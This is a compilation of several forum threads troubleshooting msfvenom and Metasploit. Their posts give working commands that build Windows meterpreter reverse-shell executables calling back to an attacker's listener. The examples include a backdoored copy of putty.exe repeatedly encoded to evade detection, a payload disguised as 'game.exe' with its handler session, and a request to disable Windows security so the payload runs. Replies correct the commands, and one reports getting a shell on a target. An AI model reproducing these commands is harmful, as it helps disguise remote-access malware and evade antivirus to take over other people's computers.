Error: Is a directory @ io_fread — /
I am getting this error can anybody help me ?Maybe. What commands are you using? Presumably you’re incorrectly specifying the path to a directory.
msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 23 -k -x /root/Desktop/putty.exe LHOST=my_ip LPORT=443 > puttyevil.exe 23 -k -x /
putty.exe is already downloaded to my desktop
You’ve specified -x twice. msfvenom is using the second argument /, trying to use the root directory / as a template executable file, and failing.
# ./msfvenom --help
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: ./msfvenom [options] <var=val>
Example: ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message

You must select an arch for a custom payload
I’ve been googling for sometime now, with no positive result.
Can anyone tell me what is meant by 'You must select an arch for a custom payload'?

If you go to msfvenom -h it will bring up the help. You will see the command to set the architecture is ‘-a’ which you need to set to x86 or any other architecture you want. so your command would look like
msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe BUT you’re gonna actually need to specify the payload by including ‘-p’ in front of your payload description, so your command will look like msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe . It’s gonna complain that no platform was selected so it selected one for you… «No platform was selected, choosing Msf::Module::Platform::Windows from the payload», then you’ll get «Found 0 compatible encoders», just ignore that. Type in «file yourexploit.exe» and it should give you some data saying PE32 executable….then you’re good to go. I just figured this out and it worked for me, ran the the .exe in my target and got reverse shell. Good luck!

It looks like you have copied the command of msfvenom from internet.
In your command -p is not actual -p(It is a issue related to Unicodes), Rewrite the -p with your own keyboard shall fix this.

I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment for experimentation. My «master system» in this instance was HP EliteBook 8760w laptop. Two problems arose:
My primary ambition in both cases was to monitor a distant device through different interfaces. Firstly I tried to achieve my goal by creating a spyware program. Here’s my procedure:
root@smerdjakov:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 -f exe > game.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
root@smerdjakov:~# msfconsole
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.103
lhost => 192.168.0.103
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.103:8080
[*] Starting the payload handler...
msf exploit(handler) >
To this point, all went as intended: I compiled all of the functions, I got the .exe file with a payload. The main idea was to run this program on another computer (with Windows 7/8/10 OS) and the Metasploit prompt would automatically start monitoring the system. However, when I tried to run my game.exe as an administrator on Windows 10, this message popped up:
Operation did not complete successfully because a file contains a virus or
potentially unwanted software.
I added a strong layer of encryption so I found it peculiar that my program wouldn’t start. On my Kali Linux I opened game.exe with Leafpad. All that I found was:
MZ
Is this normal? Firstly, I’d like to know how to turn off Windows security completely, and secondly, if my game.exe file is even functional. I should mention that after ‘MZ’ there is another glyph that StackExchange interface can’t interpret: it looks like a square with two zeros on top and a 9 and 0 at the bottom. Like so:
MZ 0 0
9 0
Your help is much appreciated. Thank you in advance.

Error: You must select an arch for a custom payload
The Architecture has been specified, yet the error persists
Any help??
Solution 1:[1]
IN kali linux 2.0 sana it necessary to provide information based on following formate
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe
it is nessaary to specify the encoding type in kali 2.0
now run the code
change window.exe with location you deserve
